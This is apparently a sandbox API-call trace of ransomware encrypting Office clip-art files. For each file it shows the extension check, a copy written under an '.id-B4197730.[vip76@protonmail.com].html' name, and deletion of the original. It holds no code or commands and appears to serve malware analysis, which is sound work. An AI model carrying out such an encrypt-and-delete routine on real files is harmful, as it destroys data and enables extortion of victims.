	[0177.751] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0177.751] lstrlenW (lpString=".ppt") returned 4
	[0177.751] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0177.751] lstrlenW (lpString=".zip") returned 4
	[0177.751] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.751] lstrlenW (lpString=".rar") returned 4
	[0177.751] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.751] lstrlenW (lpString=".bz2") returned 4
	[0177.751] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.751] lstrlenW (lpString=".7z") returned 3
	[0177.751] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0177.751] lstrlenW (lpString=".dbf") returned 4
	[0177.751] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0177.751] lstrlenW (lpString=".1cd") returned 4
	[0177.751] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0177.751] lstrlenW (lpString=".jpg") returned 4
	[0177.751] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0177.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0177.751] lstrlenW (lpString=".doc") returned 4
	[0177.751] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.752] lstrlenW (lpString=".docx") returned 5
	[0177.752] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0177.752] lstrlenW (lpString=".pdf") returned 4
	[0177.752] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.752] lstrlenW (lpString=".xls") returned 4
	[0177.752] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.752] lstrlenW (lpString=".xlsx") returned 5
	[0177.752] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0177.752] lstrlenW (lpString=".ppt") returned 4
	[0177.752] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0177.752] lstrlenW (lpString=".zip") returned 4
	[0177.752] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.752] lstrlenW (lpString=".rar") returned 4
	[0177.752] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.752] lstrlenW (lpString=".bz2") returned 4
	[0177.752] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.752] lstrlenW (lpString=".7z") returned 3
	[0177.752] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0177.752] lstrlenW (lpString=".dbf") returned 4
	[0177.752] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0177.752] lstrlenW (lpString=".1cd") returned 4
	[0177.752] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0177.752] lstrlenW (lpString=".jpg") returned 4
	[0177.753] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.753] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0177.753] lstrlenW (lpString="HH01875_.WMF") returned 12
	[0177.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0177.755] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=2616) returned 1
	[0177.755] CloseHandle (hObject=0x594) returned 1
	[0177.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 0x220
	[0177.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0177.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0177.756] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.756] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0177.757] GetLastError () returned 0x0
	[0177.757] ReadFile (in: hFile=0x594, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0xa38, lpOverlapped=0x0) returned 1
	[0177.759] WriteFile (in: hFile=0x554, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xa40, lpOverlapped=0x0) returned 1
	[0177.760] ReadFile (in: hFile=0x594, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.760] WriteFile (in: hFile=0x554, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.761] SetEndOfFile (hFile=0x554) returned 1
	[0177.761] CloseHandle (hObject=0x554) returned 1
	[0177.761] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.761] SetEndOfFile (hFile=0x594) returned 1
	[0177.764] CloseHandle (hObject=0x594) returned 1
	[0177.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0177.765] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 1
	[0177.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0177.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0177.765] lstrlenW (lpString=".doc") returned 4
	[0177.765] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.765] lstrlenW (lpString=".docx") returned 5
	[0177.765] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0177.765] lstrlenW (lpString=".pdf") returned 4
	[0177.766] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.766] lstrlenW (lpString=".xls") returned 4
	[0177.766] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.766] lstrlenW (lpString=".xlsx") returned 5
	[0177.766] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0177.766] lstrlenW (lpString=".ppt") returned 4
	[0177.766] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0177.766] lstrlenW (lpString=".zip") returned 4
	[0177.766] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.766] lstrlenW (lpString=".rar") returned 4
	[0177.766] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.766] lstrlenW (lpString=".bz2") returned 4
	[0177.766] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.766] lstrlenW (lpString=".7z") returned 3
	[0177.766] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0177.766] lstrlenW (lpString=".dbf") returned 4
	[0177.766] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0177.766] lstrlenW (lpString=".1cd") returned 4
	[0177.766] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0177.766] lstrlenW (lpString=".jpg") returned 4
	[0177.766] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0177.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0177.767] lstrlenW (lpString=".doc") returned 4
	[0177.767] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.767] lstrlenW (lpString=".docx") returned 5
	[0177.767] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0177.767] lstrlenW (lpString=".pdf") returned 4
	[0177.767] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.767] lstrlenW (lpString=".xls") returned 4
	[0177.767] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.767] lstrlenW (lpString=".xlsx") returned 5
	[0177.767] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0177.767] lstrlenW (lpString=".ppt") returned 4
	[0177.767] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0177.767] lstrlenW (lpString=".zip") returned 4
	[0177.767] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.767] lstrlenW (lpString=".rar") returned 4
	[0177.767] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.767] lstrlenW (lpString=".bz2") returned 4
	[0177.767] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.767] lstrlenW (lpString=".7z") returned 3
	[0177.767] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0177.767] lstrlenW (lpString=".dbf") returned 4
	[0177.767] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0177.767] lstrlenW (lpString=".1cd") returned 4
	[0177.768] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68
	[0177.768] lstrlenW (lpString=".jpg") returned 4
	[0177.768] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.768] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0177.768] lstrlenW (lpString="HH01923_.WMF") returned 12
	[0177.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0177.769] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=26706) returned 1
	[0177.769] CloseHandle (hObject=0x594) returned 1
	[0177.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 0x220
	[0177.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0177.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0177.770] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.770] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0177.771] GetLastError () returned 0x0
	[0177.771] ReadFile (in: hFile=0x594, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x6852, lpOverlapped=0x0) returned 1
	[0177.774] WriteFile (in: hFile=0x554, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x6860, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x6860, lpOverlapped=0x0) returned 1
	[0177.776] ReadFile (in: hFile=0x594, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.776] WriteFile (in: hFile=0x554, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.776] SetEndOfFile (hFile=0x554) returned 1
	[0177.776] CloseHandle (hObject=0x554) returned 1
	[0177.776] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.776] SetEndOfFile (hFile=0x594) returned 1
	[0177.780] CloseHandle (hObject=0x594) returned 1
	[0177.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0177.781] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 1
	[0177.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0177.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0177.781] lstrlenW (lpString=".doc") returned 4
	[0177.781] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.781] lstrlenW (lpString=".docx") returned 5
	[0177.781] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0177.781] lstrlenW (lpString=".pdf") returned 4
	[0177.782] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.782] lstrlenW (lpString=".xls") returned 4
	[0177.782] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.782] lstrlenW (lpString=".xlsx") returned 5
	[0177.782] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0177.782] lstrlenW (lpString=".ppt") returned 4
	[0177.782] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0177.782] lstrlenW (lpString=".zip") returned 4
	[0177.782] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.782] lstrlenW (lpString=".rar") returned 4
	[0177.782] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.782] lstrlenW (lpString=".bz2") returned 4
	[0177.782] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.782] lstrlenW (lpString=".7z") returned 3
	[0177.782] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0177.782] lstrlenW (lpString=".dbf") returned 4
	[0177.782] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0177.782] lstrlenW (lpString=".1cd") returned 4
	[0177.782] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0177.782] lstrlenW (lpString=".jpg") returned 4
	[0177.782] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0177.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0177.783] lstrlenW (lpString=".doc") returned 4
	[0177.783] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.783] lstrlenW (lpString=".docx") returned 5
	[0177.783] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0177.783] lstrlenW (lpString=".pdf") returned 4
	[0177.783] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.783] lstrlenW (lpString=".xls") returned 4
	[0177.783] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.783] lstrlenW (lpString=".xlsx") returned 5
	[0177.783] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0177.783] lstrlenW (lpString=".ppt") returned 4
	[0177.783] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0177.783] lstrlenW (lpString=".zip") returned 4
	[0177.783] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.783] lstrlenW (lpString=".rar") returned 4
	[0177.783] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.783] lstrlenW (lpString=".bz2") returned 4
	[0177.783] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.783] lstrlenW (lpString=".7z") returned 3
	[0177.783] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0177.783] lstrlenW (lpString=".dbf") returned 4
	[0177.783] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0177.783] lstrlenW (lpString=".1cd") returned 4
	[0177.784] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68
	[0177.784] lstrlenW (lpString=".jpg") returned 4
	[0177.784] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.085] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0178.085] lstrlenW (lpString="HH02298_.WMF") returned 12
	[0178.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0178.086] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=5552) returned 1
	[0178.086] CloseHandle (hObject=0x588) returned 1
	[0178.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 0x220
	[0178.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0178.087] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.087] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0178.088] GetLastError () returned 0x0
	[0178.088] ReadFile (in: hFile=0x588, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x15b0, lpOverlapped=0x0) returned 1
	[0178.089] WriteFile (in: hFile=0x5c4, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x15c0, lpOverlapped=0x0) returned 1
	[0178.091] ReadFile (in: hFile=0x588, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.091] WriteFile (in: hFile=0x5c4, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.091] SetEndOfFile (hFile=0x5c4) returned 1
	[0178.091] CloseHandle (hObject=0x5c4) returned 1
	[0178.091] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.091] SetEndOfFile (hFile=0x588) returned 1
	[0178.114] CloseHandle (hObject=0x588) returned 1
	[0178.114] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0178.115] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 1
	[0178.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0178.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0178.115] lstrlenW (lpString=".doc") returned 4
	[0178.115] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.115] lstrlenW (lpString=".docx") returned 5
	[0178.116] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0178.116] lstrlenW (lpString=".pdf") returned 4
	[0178.116] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.116] lstrlenW (lpString=".xls") returned 4
	[0178.116] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
